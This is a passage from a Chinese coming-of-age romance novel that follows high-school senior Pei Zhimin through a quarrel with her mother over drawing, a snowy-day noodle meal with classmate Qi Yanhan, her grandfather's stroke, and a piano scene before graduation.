这一声惊到了在厨房忙碌的裴振,他走出来一看这场面,暗自叹了一声。 “你先别生气,”裴振充当和事佬,拍着苏英的背说,“有什么事我们坐下来好好说。” 苏英才听不进这话。 “难怪你这几次月考一次比一次差,”她别开他的手,用力甩了甩那杂志,书页在空气中哗啦啦地响,“敢情时间都花在了这上面了是吧?” 这两句戳中了裴知悯痛处,第一次月考没考好,确实有她没有时间复习的原因,但另外的考试则是真的题目太难了。 裴知悯咬了咬唇,小声辩解道:“妈,最近这两次考试是因为题目出得太难了,不是因为我画画。” “那你就是承认画了?”苏英抓住了她话里的漏洞。 裴知悯心一横,认了。 “我之前怎么说的?你怎么回答我的?”苏英怒火直直地往心尖涌,把杂志狠狠往地上一扔,“当着我一套背着我一套,戏好演吗?” 裴知悯望着那皱巴巴的封面,鼻头一下就酸了。 空气里是死寂般的沉默,苏英忽地想起什么,冷声质问:“所以我那天给你送水果的时候,你就在画?” 裴知悯头都要埋到脖子里去了,没否认。 裴振在边上想要劝劝,苏英却突然反应过来什么,扬声问他:“你那晚上喊我也是在替她打掩护?” 裴振摸了下鼻子,面色不太自然,咽了咽嗓子道:“姑娘就这一个爱好,我们当父母的……” “我有说过不支持她的爱好吗?”苏英情绪激动地反问,“现在是因为在这个节骨眼上,我才说让她别画!” 裴振一时沉默。 说到这里,苏英也明了了。 “你们父女俩真够可以的,合起伙来骗我!”苏英怒火中烧,呼吸一下缓不过来,不禁咳了两声,又对裴知悯说,“这样吧,你也别叫我妈了,你想怎么画就怎么画!” 说完,她就转身回了房间,反手把门一关,声音震天响。 裴知悯着急无措地看向裴振,眼里泛起了泪光,“爸——” “没事没事,”裴振安抚她道,“我去看看。” 说完,他端上热水进了卧室,里面传来苏英大喊的一声“出去”,下一秒,门被关上,隔绝了外界,也隔绝了她。 客厅顿时只剩了裴知悯一个人,她捡起杂志轻轻抚平,眼泪不争气落了下来。 外边天色昏沉,风扫着阳台上的玻璃,雨一直下着,她在沙发上坐了很久,那扇门始终没有打开。 面颊上的眼泪早已干涸,裴知悯思索良久,下定决心拿出手机给苏英发了一条消息。 [妈,对不起,我不画了。] 这条是裴知悯给她发的唯一一条没有收到回信的消息,她握着手机,上面迟迟没有没消息弹出。 直到天色完全暗尽,裴振和苏英才从卧室出来。 裴知悯看着脸上没有一丝血色的苏英,忙走过去道歉:“妈,你别生气了,我知道错了。” 苏英没看她泛红的双眼,只说了一句:“记住你说的。” 裴知 悯声音一哽:“好。” 外面的雨变小了些,窗户上的水珠逐渐消失不见,裴知悯回到房间,愣愣地望着昏沉的夜色,鼻子忍不住又泛起酸来 那个晚上,注定是个不太寻常的夜晚,她辗转难眠,一直在责怪自己伤了母亲的心。 她不知道,许兰君知晓她们吵架后,当晚就给苏英打了电话,和她说了好久,经她一开解,苏英同样自责不该对自家姑娘发这么大脾气。 二零一五年的冬天好像格外的冷,南城气象台隔三差五就会发布寒潮预警,还预计说我市未来主要以阴雨天气为主,中部高海拔地区会有雨夹雪或小到中雪天气。 “我们南城好多年都没下过雪了,这天气预报,”裴振经过客厅时听见,忍不住道了一句,“肯定不准。” 裴知悯当时听了,也是这样认为。 可是几天后的二月初,她一睁开眼,屋外躺着一大片新白,南城真的下雪了,纷纷扬扬的雪花,静谧安然,簌簌地落了个满城。 楼下有小孩子在玩雪,相互追着跑的笑声纯粹率真,看上去正是玩闹得尽情开怀的时候,远远却听见有大人在制止“别玩了,再玩明天要感冒了”。 裴知悯兴致勃勃地下了楼,和那些不认识的小孩子痛快地打了场雪仗,回家时带了一身的雪,苏英还是训了她一通,说她多大的人了,还和小孩子一样,裴知悯吐了吐舌头,装没听见。 这场雪下得很大,很久,好多年没见过雪的南方人,这几天着实赏了个尽兴。 2月4日,立春时节,雪还没停,但小了许多。 此时离春节就只有四天了,这一年因为他们高三要提前开学,裴振和苏英就说不回栖梧了,留在南城过年。 窗外薄雪覆盖的树枝上,有新芽冒了出来,一蓬一蓬嫩绿的色彩,满是盎然的生机。 上午十一点,他们一家就吃过午饭了,裴振踩了个凳子去擦阳台的窗户,苏英打扫完家里的扬尘,又去收拾桌子,瞧花瓶里的雪柳枯了些,就喊裴知悯出去买点腊梅花回来。 南城真是一个浪漫的城市啊,每逢冬天,街上都会有许多卖腊梅花的老人,或用背篓背或用扁担挑,时走时停,因为他们走哪儿卖哪儿的行迹,整座城市都氤氲着一股清幽的腊梅花香。 大冷的天,细雪飘零,街上没有多少行人,匆匆忙忙互是过客,行走的婆婆爷爷苍老的叫卖声“腊梅花——刚摘的腊梅花——”,飘在辽远的天空中,裴知悯在那声音中一步步走过去。 “爷爷,”她礼貌问,“多少钱一束啊?” 老人比了个二出来:“二十块钱。” 裴知悯看了眼背篓,还有四束,都是枝繁花茂,新鲜莹润的样子。 “今早刚摘的,漂亮得很嘞。”老人笑着和她推销。 “嗯,那我全要了,”裴知悯递过去一张红钞,“您早点回去。” 爷爷很高兴,把腊梅花包好递给她,同时找来二十块零钱。 “提前祝你新年快乐啊,小姑娘。” 裴知悯笑:“也祝您新年快乐。” 老人背着空空的背篓满意离去,送走他,裴知悯抱着四捧腊梅花往回走,这会儿已快到十二点了,有太阳光从云层透出来,脚下的积雪有一些化了,她走得很慢很小心,就这么走过几条街,她无聊地一抬眼,猝不及防地看见了熟悉的人。 他穿着黑色羽绒服牛仔裤,头上沾满了风雪,慵懒颓然地走在几米开外,视线交汇的刹那,不知是不是裴知悯的错觉,那双锐利眼眸里存在过一丝落寞孤寂。 半个月没见,又在街头遇见,是个适合寒暄的开头,奈何裴知悯却不是这样落落大方的人,尤其是面对他。 她走过去,干巴巴地和他招呼:“好巧,你是在散步还是看雪啊?” 祁砚寒沉吟了一秒,顺着她的话往下说:“看雪。” “哦哦,”裴知悯尴尬地搓了搓手,“外面有点冷,那你看完了早点回去吧。” 祁砚寒淡淡地“嗯”了声。 本以为这样偶然的相遇,擦肩而过之后就没有故事了,但祁砚寒想错了。 他也没意识到,有些故事,或许从现在才开始。 走过这条街,遥远听见背后有人在喊自己的名字,新雪的脆响声紧跟着响起,他转过身去看, 裴知悯抱着满怀的腊梅花小跑过来,她脸边的发丝飘在耳后,一张小脸澄净真挚。 “我……我就想问你……”裴知悯故作淡然,弯起笑眼,仔细看里面还是带着点胆怯的,“你吃饭没?” 祁砚寒喉间干涩:“没。” “这么巧,我也还没吃的,”裴知悯小心试探道,“我看见前面有家餐馆,我们去尝尝吧?” 祁砚寒沉默了半分钟,才说:“好。” 雪花细碎,景色凛冽,街道上路人寥寥,偶尔驶过几辆汽车, “重吗?”祁砚寒看着她怀里的满满当当的花,“我帮你拿吧?” 裴知悯抿了抿唇,没有客气地分给了他两束:“谢谢。” 走出几步路,祁砚寒想起件事,猛然顿住了脚步。 “怎么了?” 他嗓音很哑:“我身上没带钱。” 今早从家里出来得急,手机忘了拿,现金更是一分没有。 裴知悯还以为是多大的事,莞尔说:“没事,我请你。” 言毕,怕他还有心理负担,她旧事重提道:“上次你不是请我喝饮料了吗?” 这话倒是给了祁砚寒良多的心理安慰。 两人一齐走着,裴知悯略显着急地四处搜寻,其实她根本就没看见这附近哪儿有餐馆,只是她看他情绪不太对,又在大中午,就想请他吃顿饭。 临近年关,路边没有几家开着的饭店,他们经过了三个转弯,才终于看到家营业的面馆。 裴知悯暗自松了口气,和他一起进去。 店里干净卫生,只坐了一桌客人,裴知悯选了张离空调最近的桌子和他相对而坐,刚落座,老板娘就来问他们吃什么。 “阳春面可以吗?”裴知悯看了眼面馆的菜单,问他,“我看正好是店里的招牌。” 祁砚寒:“可以。” “要一碗大份的,一碗小份的,”裴知悯跟她说。 “好的,”老板娘说,“大份十块,小份八块,一共十八。” 裴知悯拿出兜里仅有的二十块递过去,老板娘找了零头给她。 暖气吹着,祁砚寒慢慢感觉活了过来,今早祁宏回来,带着满身酒气和香水味,嘴里喊着个女人的名字,逞强道“谁说我喝不了,我还能干一瓶”,他心里一阵烦躁反胃,脸色阴沉着,祁宏瞧见了,破口大骂让他滚,祁砚寒也是真犟,眼不见心不烦,直接摔门而去。 腊月天,又下了几天的飞雪,出了门就是钻心的冷,他漫无目的地在街上闲逛,碰见她纯属意外,此刻坐在一张桌子上更是误打误撞的安排。 对面的女孩子穿着奶黄色的羊羔毛外套,坐得端正,身后的玻璃窗外,小雪飘飞,面向而坐,他们一抬眼就可以望进彼此的眼。 这是祁砚寒第一次认真看她,生活在南城这样山温水软的南方地带,她皮肤白净,五官轮廓很柔和,眉目清秀温润,略微偏方的下颌,又隐隐带着一抹韧劲。 见他一直盯着自己,裴知悯柔声问:“是我……脸上有东西吗?” 祁砚寒目光微动:“没有。” 两碗阳春面很快端上来,陶瓷斗笠碗里,面条简单朴素,汤白色绿,桌上摆着一壶热茶,祁砚寒拿起杯子倒了两杯,一杯自留,一杯推到她面前。 裴知悯朝他举杯:“新年快乐。” 祁砚寒抬手,轻轻和她的茶杯碰了下,也说:“新年快乐。” 裴知悯抿了两口茶,悄悄做了个深呼吸,缓声道:“祝你万事胜意,一生平 安喜乐。” 那时祁砚寒以为这一句也是新年祝福,轻轻一笑着应了下来。 说完这句,裴知悯拿起筷子,换了话题:“快吃吧,卖相这么好,味道肯定不差。” 祁砚寒尝了一口面,细腻顺滑,滋味甚佳。 “好吃吗?”裴知悯问。 祁砚寒微微点头:“嗯。” 另一桌客人不知何时离开了,店里就他们两个,他们吃得斯文安静,落雪声细微,很轻很轻,像暂停了时光。 裴知悯根本没饿,但为了圆话,那碗面她吃得只剩了一点,祁砚寒倒全吃完了,看他脸色不再发白,她直觉这个决定应该没错。 吃完面,苏英的电话就来了,问她怎么还没回来,裴知悯捂着声筒小声说“马上就到了”,挂断电话,他们已到分岔路口,裴知悯记得他家好像是另一边,南城的公交票价统一两块钱,她把最后剩的两块钱给了他。 “你记得早点回家。”声音轻柔。 说完,他们就此作别,裴知悯缓缓朝着家走,祁砚寒凝望着她的背影,一时怔愣。 她抱着花步调温吞,背影亭亭,雪后初霁的日光照在她的肩头,清然又美丽。 看了两秒,祁砚寒清淡地收回眼神,往街的另一头走。 许多年后,祁砚寒再回忆这一天,都觉得他们的相遇是一种从天而降又冥冥注定的缘分。 寒冷的雪天,他伶仃地走在大街上,犹如个孤魂野鬼,一个女孩子请他吃了一碗热气腾腾的阳春面,又祝福他万事胜意平安喜乐。 》》 2023年2月4日,立春。 祁砚寒追人追不上,耍心机装作喝醉了酒,埋在她肩头无厘头地说了好多。 末了,他告诉她,那天是他生日。 裴知悯说:“我知道。” 第25章 第25章并排的条形码 这场雪下得断断续续的,但还没停。 闻霏开着车转了大半个南城,才在路上接到人。 “臭小子,你做什么呢?”闻霏板着脸教育他,“动不动就离家出走,急死个人了。” 祁砚寒扫掉肩上的雪花,不由好笑:“小姨,我这怎么叫离家出走,顶多就是在外面逛两圈就回去了。” “大冷天的,有什么好逛的,”闻霏边说边把车里的暖气打开,“不叫离家出走怎么不接电话?” 祁砚寒扯出安全带系上,淡声解释:“出门忘带手机了。” 闻霏看他这轻描淡写不以为意的模样,想自己着急还着急错了,她利落地发动引擎,将车子开出去。 “说吧,出什么事儿了?”闻霏打了一把方向盘,左拐往北边走,“大冷天出来吹风,别说是你闲的。” 祁砚寒淡漠地看向窗外,一言不发。 雪下得小了些,阳光普照大地,积雪化成一滩滩的水,汽车碾过,留下一串潮湿的车辙印。 “你妈今天回来,上飞机前给你打了好几个电话,一看你没接就知道有问题,”闻霏看了眼后视镜里的车况,变道过去,问了一句,“跟你爸吵架了?” 祁砚寒扯了下唇角,不否认就是承认。 闻霏叹了一声,现在她也多少了解祁宏的德行,那花花肠子,真真是家里红旗不倒,外面彩旗飘飘。 “你爸那人,虽说人不怎么样,在外面……” 话到这里停顿了。 “在外面怎么?” 闻霏咬了咬牙,还是没把把这些丑陋的事情说给孩子听。 “在外面奔波忙碌,”她自圆其说,“对你不上心,对家庭也没尽到责任。” 祁砚寒冷笑了一声。 “但别说,你这身高腿长的真没浪费啊,”闻霏上下扫视了他一眼,故意调侃说,“居然能走到城南来。” 祁砚寒嗓子里溢出一声笑:“没办法,天生的。” “你少在这儿嬉皮笑脸的,我说的是这意思吗?”闻霏抽空给了他胳膊一下,“要是我不来接,你走回去天都要黑了。” 祁砚寒轻笑:“不至于。” 她给的两张零钱还在他的衣服口袋里,足够他坐一班车坐回家了。 闻霏不屑地白他一眼,还想说什么。 “好了,小姨,你就别好为人师了,”祁砚寒直接一句话打断她的唠叨。 闻霏偏头看了眼这小子,干脆不说话,踩了油门径直往家里开。 进了门,闻瑾就打来电话了,闻霏去了阳台接,方芷宜不知从哪儿折了腊梅花回来,来牵祁砚寒的手。 “哥,我刚摘了腊梅花,我们去插花吧?” 祁砚寒皱眉:“我不会。” 方芷宜嘴巴嘟起:“那你就学。” 祁砚寒无奈地笑:“行。” 那个年,祁砚寒是在闻霏家里过的,其实春节对他来说没有什么特别,但有方芷宜这个小灵精,生活还不算特别无聊。 印象里那场雪彻底落完,高中生涯的最后一个寒假也就结束了。 一回到学校,就真有要高考的实感了,校园到处张贴着“决战高考金榜题名”之类的横幅,七班的后面,也贴着一条标语——正是风华正茂,怎可甘拜下风。 裴知悯说到做到,再没接触过跟画画有关的事,全身心放在学习上,高考真题一套套地刷,错题坚持摘抄分类。 那时二月已经过了,南城即将迎来春天。 月考放假那天,裴知悯一个人回家,路过六班外边,喻臣在等祁砚寒,她悄悄放慢了脚步。 喻臣转着手里的篮球,问了最后一遍:“真不和我们去打篮球?” 祁砚寒果断拒绝:“不去了。” “稀奇啊,”喻臣眉峰一挑,“之前不是你喊我们吗?现在喊你去怎么不去了?” “秦京宁在外面等我,”祁砚寒背上书包,拍了下他的肩,“先走了。” 喻臣愣了一瞬,手里转着的篮球缓缓停了。 裴知悯比祁砚寒先一步出教学楼,校门口,秦京宁背着书包低头踢着石子儿,明显的等人状,她身上还穿着一中的校服,应该是才从那边过来。 女生嘴角弯起,蹦蹦跳跳地跳格子,一点没有等人的不耐烦感。 熙来攘往的大门口,裴知悯跟着人群走出学校,进了便利店买水彩笔,这段时间做错题集,彩笔消耗得极快,正挑选时,祁砚寒和秦京宁进来了,停在酸奶货架前,秦京宁拿了一瓶原味酸奶,从她身旁经过时,惊喜道:“是你啊。” 裴知悯浅浅一笑作为回应,目光和祁砚寒对上,两人互相点头致意了下,就各自偏移开了。 自从雪天一别,有些事情好像在无形中发生着变化,酝酿着,譬如现在。 从前他们遇见,一般都是一个人率先偏开目光,而非点头之交。 买完笔,裴知悯付了钱出来时,两道身影就走在前方不远处,她慢慢地走着。 这条路上几乎都是南礼的学生,秦京宁穿着不同的校服走在其中格外扎眼。 忽而有雨点落了下来,秦京宁手撑在头顶挡着往前跑,祁砚寒还是不慌不忙的样子,她停住脚,扬声喊:“快跑啊,雨等会下大了。” “你是不是傻?”语气熟稔亲昵。 祁砚寒撑开一把伞,给自己打着,秦京宁手从头顶拿下来,气呼呼地瞪了他一眼。 裴知悯看着她自然走入伞下,要去打他的胳膊,她没打到,祁砚寒躲开了。 裴知悯那时有伞,心头却感觉在淋雨,她想起张爱玲那句著名的话:“雨声潺潺,就像住在溪边,宁愿天天下雨,以为你是因为下雨不来。” 后来他们搭乘不同的公交各自离去,裴振和苏英说单位有事,会回来得晚些让她不用等他们。 外面的雨还在下,闷雷乍响,闪电霹雳,裴知悯躺在床上,那一双玩闹的身影始终在她脑海里挥之不去,那晚她有点失眠了。 临近惊蛰,雨水特别多,春雷闷滚,混沌的天地在这之后,一切都即将清醒过来。 雷雨天气持续了近两周,放了晴后,又是春光明媚的好时节。 四月时候,班里就有同学开始传着写同学录了,时恬也在绞尽脑汁地想该用什么方式来纪念这两年的革命友谊,想不出时,来问裴知悯,她说她也不知道,后来不知道是谁出的主意,时恬自印了一套普鲁斯特问卷,让他们随机抽一个,实名写答案。 裴知悯抽中的问题是:如果你能选择,你最希望什么重现? 她回答:顺其自然,不去重现。 关于纪念这个,裴知悯冥思苦想了几天,终于在二模考试结束,交卷铃声响起的那刻有了想法。 吃过晚饭,她就开始收集全班同学的试卷条形码,喻书自然也包含在内。 “我拿了自我感觉发挥得最好的化学试卷的条形码,”喻书递来那一小张纸片,“运气传给你。” 裴知悯笑着道:“好。” 为了不露破绽,拿到了她的,裴知悯还收集了卫旭蒋琛的条形码,做完这些,她才往六班走。 正是课间,六班后门处,有两三个男生在聊天,祁砚寒在位置上,裴知悯张望着,却不知道怎么让他出来。 几个男生看她在门口站了好一会儿,时不时会瞄来两眼,裴知悯受不住这种无形的凝视,想着要不换个时间再来。 祁砚寒不经意扭头,见她在后门表情凝重,率先过来,问了一句:“来找喻臣?” “不是,”裴知悯摇头,壮着胆子说,“我找你。” 祁砚寒微微一愣:“找我?” “嗯。” 他低笑着问:“有事?” 裴知悯轻吸了一口气,鼓起勇气问:“想要一张你试卷的条形码,可以吗?” 他似乎是有点不解,微微皱眉道:“要这东西做什么?” 裴知悯早就准备好了说辞:“留个纪念。” 祁砚寒轻抬了下眉,没想到还有这种做纪念的方式。 怕他看出来,裴知悯连忙说:“喻臣的我已经拿到了,卫旭蒋琛也都给了他们。” 祁砚寒看她有点像“此地无银”的样子,不禁失笑。 “这么着急解释做什么?”他声音含笑,“我没说不给。” 裴知悯轻抿了下唇。 主科里面,他的数学分数一般是最高的,但那会儿实在找不到数学答题卡去哪儿了,祁砚寒只好撕了一张英语的条形码给她。 后来二模成绩出来,他的英语比数学高了三分。 收集完所有人的条形码后,裴知悯就打算把它们粘在一起,她撕了两张自己的,一张和班里同学还有喻书喻臣的粘在一块,另外一张,裴知悯私心作祟,单独和祁砚寒的条形码贴在了另一张纸上。 两张纸她都用相框装起来了,一个放在书桌上面,一个放在了书桌立层的里面。 裴知悯看着这区别对待的相框,真真应证了那句“大大方方的是友情,小心翼翼的是爱情”。(注) 夜色渐浓,外面忽然起了风,接着有雨落下来。 一恍已经晴了二十来天了,是要下雨了。 第26章 第26章“前方的路途一片光明”…… 五月伊始,南城就接连下了两场暴雨,整座城市被从里到外淋了个透。 苏英和裴振那阵子特别忙,有时晚上都不会回来,裴知悯一直以为是他们工作上面出了问题,直到那个周**吹雨打的午后,家里窗户没关严,阳台一地狼藉,她清理完时,在客厅的垃圾桶里看到了一张南城第一人民医院的缴费单。 裴知悯脑中“嗡”的一声,沙沙的雨声瞬间像消音了似的,她不敢相信地盯着单子上的姓名和它下方的“中度脑梗”看,等缓过来时,再一瞟那上面的时间,是十天前。 苏英和裴振回来时,裴知悯已在沙发上坐了许久,她装作无事发生样,旁敲侧击问道:“爸妈,你们这段时间这么忙,是出事了吗?” 苏英和裴振对视一眼,随后故作轻松道:“你想多了,哪有什么事。” “真的?” 苏英回答得斩钉截铁:“当然是真的。” “爸,妈,”裴知悯闭眼吸了一口气,再睁开时眼眶还是有点红了,“你们还想瞒我多久?” 裴振和苏英闻言,同时愣了一刹。 裴知悯拿出那张缴费单,“啪”的一下,按在茶几上,倔强认真地问:“外公病重为什么不告诉我?” 苏英的表情僵在脸上,似乎没料到她会这么快就发现。 苏献培这次的脑梗发生得突然,在ICU里住了一周才出来,他们尚且都被吓到了,更别提她一个孩子,况且高考迫近,一家人都说先不告诉她。 苏英攥紧了手心,坦白道:“离你高考不到一个月了,我们怕告诉你了会影响你考试。” 裴知悯心碎地低下了眼,无力感紧紧将她包围着,压得她都快要喘不过气了。 裴振也在一旁说:“你外公那里,我们会照看的,你一个学生,就算知道了也帮不上什么忙,到时候再耽误你学习就得不偿失了。” 裴知悯表情毫无波澜。 什么是得?什么是失?人好像总在衡量这个,可世事无常,得失难量,很多你现在认为平淡无奇的东西,也许会在多年后的某一个深夜、某一个时刻又感觉幸福珍贵,那时你才会恍觉,你曾经得到的,或许是另一种的失去。 世上之事千万多,唯有时间和生命不能重来,如今她和外公站于两端,横亘着各种抗力,像隔着万水千山。 一股冷风从窗台的缝隙里跑进来,叫人忍不住打了个哆嗦,裴知悯手心冰凉,深深呼了口气,再抬头时,眼底一派平静:“爸妈,你们都认为,高考比外公还重要?哪怕在这期间,外公不幸离世,你们也会因为高考而不让我知道?” 苏英一瞬间哑然。 那一刻,他们三个人都在扪心叩问这个问题的答案。 沉默半天,裴振长叹一声,拍了拍膝盖,起身对她说:“走吧,去医院看看你外公。” 潮湿的街上,雨脚连绵不绝,拍打声清脆,车里放着广播,女声温柔悦耳,裴知悯靠在车窗上安静地听着,没人知道,那些字一个都没进到她的耳朵里。 下雨天,路上的车开得很慢,他们运气还不好,接连遇到了几个漫长的红灯,总算到了医院时,天都暗了。 进病房前碰到外婆,老人家和裴振对视一眼,就什么都明白了。 “外公……怎么样了?”裴知悯尽量让自己的声音保持平稳。 “睡着了,”外婆把房门带上,放低音量,“这几天的检查数据都很正常,没有生命危险,你别担心。” 裴知悯稍稍松了点气。 “囡囡呐,不跟你说是我们共同商量决定的,你别因为这个和你妈妈吵架昂,”许兰君握着她的手,轻轻抚摸了下说,“这里有我们,你现在的主要任务还是高考,要好好为你的未来努力。” 裴知悯眼眶微湿,抿嘴道:“我知道。” “不能哭,”许兰君抬手擦干她濡湿的眼尾,“等会让你外公看见可要伤心坏。” 裴知悯吸了下鼻子,绽开了个很标准的笑脸。 许兰君笑了下,下楼去丢垃圾了。 裴知悯站在门口,做了个深呼吸才推开门进去,柔和的白炽灯照下来,苏献培穿着蓝白色的病号服躺在床上,面容安详却又枯槁,两鬓斑白,垂垂老矣,裴知悯抹了把脸,抑制住想哭的心,静静地守在床边。 苏献培是半小时后醒来的,看见一旁的裴知悯,他微微恍了恍神,还以为是自己出现了幻觉。 “不认识我了?”裴知悯眨着眼,俏皮地问。 不是幻觉啊。 苏献培笑了声,语气轻松得像是她回家了一样。 “来了啊。” 这老头和她爸妈是一伙的,裴知悯哼了声,低低 道:“不想见我也没用。” 苏献培无奈地偏头笑了笑:“没有不想见你,只是不想在这里见你。” 裴知悯把病床升起来点,嘟囔道:“那你就好好听医生的话,早日康复,咱们就早点回家。” 苏献培回答:“好。” 夜色收拢时,祖孙俩已说了不少的话,裴知悯明天要上学,趁他们某个话题一结束,许兰君就把她撵回去了。 这场雨断断续续地下了两天两夜,周六早上,总归停了下来,云雾散开,浅绛色的太阳从地平线上升起,光景明媚坦荡。 裴知悯踩着阳光进来,喊“外公”里面却没有应答,外婆这时清理完餐盒回来,一看没有人,立马慌了,两人分头去找,这一层楼没找到,她又往楼下走,路过医院门口,远远看见外面街上那个熟悉的身影,一颗心可算落了下来。 那会儿外公刚付完钱,把东西往后一背慢慢回来,对比半年前,苏献培的行动愈发迟钝,每一步都走得小心缓慢,像是用尽了全身的力气。 裴知悯心头不是个滋味,垂眼一哽,前方传来苍沉的一声“知悯”,她敛下难过神色,走近去搀扶他,忍不住道:“外公,你去外面干嘛呀?” 苏献培拿出藏在背后的袋子:“刚刚听见有人在卖樱桃,想着今天周六你应该要来,就说买点回来给你尝尝。” 裴知悯偏移开视线,望向他的身后,人来人往的大门口,有不少摆着篮筐坐在石阶上吆喝的小贩,樱桃杏子李子,种类还不少。 裴知悯拧眉怪他:“那你也应该告诉外婆或是护士一声啊,你出来身边没个人,让我们怎么放心。” “还有,雨才停,这地面这么湿,万一你一不小心摔倒了怎么办?” 她喋喋不休,苏献培闭着眼哀叹,及时制止道:“知道了知道了,小唐僧,你外婆一个人念叨我不够,现在你又来,我头都要大了。” 裴知悯扯扯嘴角,不再说话了。 “老板说这樱桃虽然个头不大,但保证甜,”苏献培蔼然道,“等下你尝尝,看他说的是不是真的。” 裴知悯扶紧他走着,点头说“好”。 暮春的风温和适宜,吹进来带着淡淡的花香,阳光均匀地洒进来,外婆牵着外公躺上床,边给他盖被子边骂他,裴知悯洗着樱桃,偷摸着笑。 洗净出来,外公正微眯着眼,敢怒不敢言,裴知悯解围似的把果盘端到苏献培面前,想让他先吃,老人摆摆手,笑道:“外公不吃,你快尝尝。” 裴知悯随手抓了一个丢进嘴里。 苏献培一脸慈祥地注视着她:“甜吗?” 五月份,樱桃才刚上市不久,虽然看起来红润水灵感觉很甜,一尝才知道,酸得不成样子,那小贩大概是看外公年纪大,故意骗他的。 不想外公伤心,裴知悯忍住皱眉闭眼的冲动,抿出一个笑说:“甜。” “那老板还真没说错,”苏献培笑着道,“你多吃点。” 裴知悯闷声应了句“好”,又喂了两个进嘴里,苦涩的汁水在口腔中迸开,酸得头皮都发麻。 想起一个盛夏的雨天,外公老友送来一篮新鲜的樱桃,她尝了后,故意把甜的说成酸的,外公不信,自己吃了一个明白过来,还责备她来着,如今她依然说着反话,心境却已天翻地覆。 这一袋樱桃,裴知悯强忍着酸意吃了大半,后面没一会,外公要去做身体检查,她陪着一起,樱桃也就没吃了。 高考一天天逼近,学校里的紧张感愈发浓重,走廊上谈笑的人越来越少,办公室里问问题的人逐渐变多,有时还会瞥见卫旭或是蒋琛的影子,这两人好学认真的程度简直见所未见,让她一时都没能接受。 “是时候拼一把了。”卫旭经过她身边时这样说。 所有人都在拼搏奋斗,荣誉榜的竞争愈发激烈,榜首却岿然不动,裴知悯则在第七八排上下波动,压力山大的高三,外加上苏献培出事,她的话肉眼可见的少了。 喻书有时会下来找裴知悯,课间只有十分钟,她们也说不了多少话,就吹吹风看看教学楼下的花草树木,然后幻想一下大学生活,最后再以一句“考上大学就好了”结尾各回教室。 月底那天,上午天空还阴暗沉冷,中午阳光就出来了,白天的最后一节是体育课,这一个月学校为了让他们放松心情,体育课还是照常开展的,刚下课,大家撒开腿就往操场跑。 夏天来临,校园草木青葱,风暖花香,一切都在向阳生长。 体育课老师依旧只上了半节就让他们散了,绿茵场上,有不少聊天散步的男男女女,裴知悯一个人绕操场走着,风清日朗,晴空上掠过自由的鸟群,耳边传来呖呖的鸣叫,她看着如此美好的阳光,想到外公微凉的手,外公也要多晒晒太阳。 散完步回教室,途中经过音乐室,不知道是谁粗心大意,忘记了关门。 裴知悯望着那架漂亮的钢琴,一时顿住了脚,好久都没摸琴了,她可能已经生疏得连手型都摆不好,但心底却莫名跳出了一个大胆又怪异的想法,去试一试吧。 裴知悯慢慢抬手,想去推门,身后突然响起一声轻咳,她一激灵,下意识转身看去,祁砚寒站在不远处的树下,阳光从树缝中洒落下来,隔着一堆斑驳树影,他们彼此对望。 天地良心。 那会儿祁砚寒真是路过,她在门前犹豫不定,干净的脸上,有一种明媚的忧伤,他有点好奇,她会做什么,当她下定决心想要进去时,祁砚寒本是打算走的,不知从哪方涌来一场风,灰尘呛进了嗓子,他不禁咳嗽了下,这才无意出了声,扰了她的好事。 “学校的钢琴一般不让非专业人士碰,”祁砚寒双手插兜走近,提醒道。 裴知悯不知道这个,受惊般地往后退了一步。 站定在门口,祁砚寒微微侧头,看了一眼教室里面,“会弹?” 裴知悯如实说:“只会一点。” 学画画之前,她练了一段时间的钢琴,只是没有选择坚持下去。 “想去试试?” 裴知悯犹豫片刻,晃了晃头:“没有。” 祁砚寒眼波一动,这姑娘还心口不一得很。 他看着她的眸子,这双之前还剔透明亮的眼睛,如今已蒙上了一层悲伤的色彩,那刻祁砚寒其实有点想开口问的,你是不是心情不好? 可是末了,他还是打消了这个念头。 不能动,裴知悯就想离开了,祁砚寒径自推开音乐室的门,走到钢琴前坐下,转头问她:“想听什么?” “不是不让……”裴知悯显然被他的“知法犯法”惊到了。 祁砚寒挑眉:“怕什么。” 裴知悯:“……” “想一想吧,”他勾唇一笑,“机会难得。” 裴知悯抿紧嘴,认真思考了一会儿,一头空白。 “我不知道。” 祁砚寒思索片刻,指尖触上黑白琴键,轻轻按下,舒缓的琴声一点点流淌出来,慢慢变得轻扬欢愉,轻短的音符,沉甸甸的都是希望。 他弹的是钢琴的经典曲目《卡农》,曾经有人说过,幸福时听《卡农》能听出忧伤,难过时听能听出希望。 从前裴知悯不懂,此刻听见,内心好像真的喷薄而出了一股力量,将她这些日子的忧郁和沉重一扫而空。 夕阳越过窗户,在地上留下一小片光晕,他坐在钢琴前方,她站在门口,被光剪裁的两个影子在光中依靠。 很多年后,裴知悯回想起这个场景,仍旧会觉得心动。 一曲弹完,祁砚寒合上琴盖,走出教室,看她似乎还沉浸在音乐里,问道:“听过这首?” 裴知悯浅笑:“嗯。” “那也算遇见知音了,”祁砚寒顺手带上门,忽而问道,“心情好点了吗?” 裴知悯眼睫微颤,这么明显吗? 静默片刻,她点头应声:“嗯。” 风拂过树梢,有鸟儿在叫,青石砖上的落日余晖婆娑。 祁砚寒目光落远,轻声喊:“裴知悯。” 她心旌微摇:“嗯?” 他没有开口说话。 裴知悯顺着他的目光看过去。 大片大片金色的夕阳铺在不远处的路上,粼粼的,闪闪的,有风 吹过,金光微荡。 “前方的路途一片光明。” 一语双关的话,裴知悯鼻尖忽地泛起酸来。 保安大叔从监控里看见有人擅自动了学校设备,从门卫室过来逮人,瞧见他俩就高声喊:“那两个同学——” 两个人回头一看,身着制服的安保人员满脸严肃,直直往他们这里来,祁砚寒拉着裴知悯的手就朝着洒满阳光的前方跑。 “快跑。” 第27章 第27章或许我们本就没有缘分 六月,南城的栀子花开得灿烂,风里飘着清幽的花香。 栀子花开季,一年临别时。 学校到处都是拍照留念的人,教学楼拍了,操场拍,大家后知后觉又乐此不疲地想留住青春还有青春里的人。 裴知悯拍了不少,基本是和班里同学还有喻书的,和喻臣蒋琛也有两张,但那些照片里,始终没有祁砚寒的影子,凭他们半生不熟的交情,她一主动去问合照,怕是满腔的心事都会露馅。 那天的林荫路上,一批拍照的人走了,另外的人又来,一直到晚课,那条路才恢复宁静。 高中的最后一个晚自习,年级主任难得大度一次,再没出来巡视。 晚风温和,不急不躁,吹得人很舒服。 走廊再度喧闹起来,好多人趴在栏杆前谈天说地打打闹闹,喻书和裴知悯也在那队伍里,两人有一搭没一搭地聊着天,对面忽然有一声高喊:“十年后,我会成为一名优秀的律师,捍卫法律尊严,守护女性权益。” 